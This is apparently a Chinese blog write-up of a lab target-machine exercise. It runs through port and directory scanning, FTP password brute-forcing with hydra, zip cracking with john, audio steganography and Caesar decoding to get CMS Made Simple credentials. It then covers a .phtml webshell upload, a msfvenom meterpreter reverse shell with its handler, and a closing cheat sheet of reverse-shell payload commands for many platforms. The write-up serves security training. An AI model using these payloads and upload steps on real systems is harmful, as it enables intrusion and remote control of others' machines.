第二次的靶机

也就是摇了三次骰子,两次一,最后一次五,以为能翻盘了,结果人家摇了个六

image-20220429131850433

很高兴被《全员开冲》的xdm推(卖)出来当第一个发文章的冤种,苦思冥想不知道发什么好,刚好,yjy神搭起了个靶机,大家也恰好都没打过,文章素材这不就来了~


靶机地址:192.168.100.150(在内网里,咱就还是就象征性写一下,正式一点)

信息收集

image-20220429130436555

一打开界面很帅,继续往下找找看有没有什么突破口,有一行字慢慢飘过来——“雾队点击这里”

image-20220429132259968

乖乖点进去

image-20220429132409887

看样子给的线索是要拿下FOG-TEAM的权限,查看了一下源码,在前端页面只能说什么都干不了,那么,上线好吧

image-20220429133213109

发现一个GitHub上的地址,开个小代理去访问一下

image-20220429133512713

先把 SoundStegno 下载下来,发现是一个音频文件

image-20220429133838860

Nmap -p 1-65535 -A 192.168.100.150      //扫描端口

发现开启了FTP服务(数据传输协议),记住它,下面要考的

image-20220429135945498

git clone https://github.com/hacksudo/SoundStegno.git  

image-20220429141227961

这是拷贝一个 Git 仓库到本地,让自己能够查看该项目,或者进行修改的操作

拷贝完成后,在当前目录下会生成一个 SoundStegno 目录,直接看看有哪些文件(小声bb:这些文件其实在解压之后也可以看到,但是就是想玩玩嘿嘿)

image-20220429141908121

这里的Stegno(眼熟麻,眼熟就对了)要拿小本本记下来,后面要考的

不玩了,切入正题,扫目录

image-20220429142902356

发现了一个 cms 的目录,去访问一下

image-20220429143049582

当然,不用工具当然是最好的,御剑有些东西扫不出来,先放着,继续看看/cms还有没有可利用的

image-20220429164207603

哦吼,发现是有登录界面的

image-20220429164300269

这样思路大概就清晰了,我们接下来就是要获取账号密码进入,再仔细看看网页可以发现有一个类似用户名的信息

image-20220430130047381

保险起见用gobuster再来遍历一下目录,emmm只能说我一整个踩坑达人,显示无法找到软件包

image-20220429144330868

于是,更新一下存储库缓存

sudo apt update

image-20220429161817742

试了一下,这样确实就解决了,度娘yyds,然后继续

输入:gobuster dir -e -u http://192.168.100.150 -w    /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x  .txt,.php,.html;

image-20220502205908867

扫出了好几个,就是时间有一点漫长,这才显示扫了一半(但是看到服务器状态文件都出来了,就不用再继续等它扫了),但是已经比御剑多了,先试试看去访问一下

接下来的话,就是把字典文件下载到本地

wget http://192.168.100.150/dict.txt         

image-20220429161134413

下一个/fog

image-20220429163249141

只能说啥也不是,那就是从字典下手了,猜测会不会这个字典是cms的登录密码

image-20220429171951379

大胆尝试一下,发现不是,接下来就卡了好久

复现漏洞( CVE-2019-9692)

CMSMS模块Showtime2任意文件上传漏洞 CVE-2019-9692分析

先查看当前的版本号

image-20220429184258099

显示是CMS Made Simple 2.2.5版本

听师傅的去爆破一下FTP,网址放上来黑客工具之hydra详细使用教程 - 知乎 (zhihu.com)

image-20220430125720600

这里就得到了ftp的密码吼吼,终于有进展了,孩子感动

接下来就要登录ftp了

image-20220502205937716

发现有两个文件

image-20220430133516058

get flag1.txt

下载下来,然后一直出现cat不出来的尴尬局面,因为我们还在ftp的命令里,而所以要先退回linux,在本地查看

image-20220430134306687

去访问了一下

image-20220430135443094

被师傅紧急叫停,不能跑人家出题人的站瞎搞

接着去下载第二个文件,又双双叒叕踩bug

image-20220430144354679

只能说这里被狠狠上了一课,这个是个压缩包,不能直接get后cat

image-20220430200639771

先进入hacksudo_ISRO_bak目录下,看到有三个文件,其实就一个是有用的(可以都尝试下载下来看一看)

image-20220430203541763

发现是一大串乱码,那就直接去本地文件里看,直观一点

image-20220430204011300

发现是加密的,接下来看看Kali自带的工具能不能压缩解密一下

image-20220430204922024

找到了John这个工具,去查了一下它的用法,就可以直接开始

john secr3tSteg.txt 

image-20220430205348055

密码是 fooled,拿着去试试看

image-20220430205455728

成功~

接下来提取隐写信息,这里被卡了好久 ,一直显示找不到ExWave.py文件,就吸取上次教训,不会一次次重新输入命令,这次好好打开文件夹,看图形化界面会更清楚一些,发现文件确实是在的,那么就把路径全标清楚试试看

python3 /root/Desktop/SoundStegno-main/ExWave.py -f /root/hacksudoSTEGNO.wav

image-20220502160600559

得到了一串加密字符,这里直接丢度娘,说不定会自己跳出来什么

Your Secret Message is: Shift by 3
ABCDEFGHIJKLMNOPQRSTUVWXYZ
DEFGHIJKLMNOPQRSTUVWXYZABC
zzzz.orfdokrvw/irj Xvhuqdph=irj:sdvvzrug=kdfnvxgrLVUR

然后就跳出了这个靶机的解法,点进去看就知道是要进行凯撒解码,又是一个没接触过的东西

image-20220502161635138

那我们还是要自己试试看的,去解个密就直接出了用户名和密码

image-20220502161841220

应该就是cms的用户了,去试着登录一下

image-20220502162201962

接近getshell了,冲冲冲

image-20220502162953873

有一个文件上传点

image-20220502163125186

尝试了一下,发现是可以的,上burp

image-20220502164049840

这里我直接用了.phtml后缀,然后进行传马,然后蚁剑连一下

image-20220502165934144

image-20220502170003843

吼吼,也就是我们在这里可以发现存在任意文件上传漏洞,可以上传任意php代码,得到shell~

msf shell

这里我们因为有了之前的经验,就msf上线好叭

msfconsole                   //登录msf
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.100.217 lport=4444 -f elf >/root/xjw.elf               //生成马
show options      //查看该模块所有可用选项,比如说我们进入漏洞模块,执行攻击的话,看需要配置哪一些模块的一些选项
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.100.217     
show options
run           //开启监听

打开蚁剑的终端(我们文件上传的目录)

chmod 777 xjw.elf           //把读写权限全打开
  • 7 = 4 + 2 + 1 读写运行权限
  • 5 = 4 + 1 读和运行权限
  • 4 = 4 只读权限

有三组用户是因为三个数字对应三类用户对该文件的权限——文件所属用户;所属用户的同一用户组的用户;其他用户

.xjw.elf          //连接本机和靶机

image-20220502204815728

image-20220502204730969

搞定啦

image-20220502172120585


FTP小芝士

要连上 FTP 服务器(即“登陆”),必须要有该 FTP 服务器授权的帐号,也就是说你只有在有了一个用户标识和一个口令后才能登陆FTP服务器,享受FTP服务器提供的服务

在TCP/IP协议中, 需要两个端口,一个是数据端口,一个是控制端口。控制端口一般为21,而数据端口不一定是20,这和FTP的应用模式有关,如果是主动模式,应该为20,如果为被动模式,由服务器端和客户端协商而定。相比于HTTP,FTP协议要复杂得多。复杂的原因,是因为FTP协议要用到两个TCP连接,一个是命令链路,用来在FTP客户端与服务器之间传递命令;另一个是数据链路,用来上传或下载数据。


提权小芝士

参考自:(14条消息) msf 生成php马_msf系列篇章之msf的基础模块和命令_weixin_39583013的博客-CSDN博客

Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

Mac:

msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d '' > shell.php && pbpaste >> shell.php

ASP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

JSP:

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

WAR:

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

Python:

msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

Bash:

msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

Perl:

msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl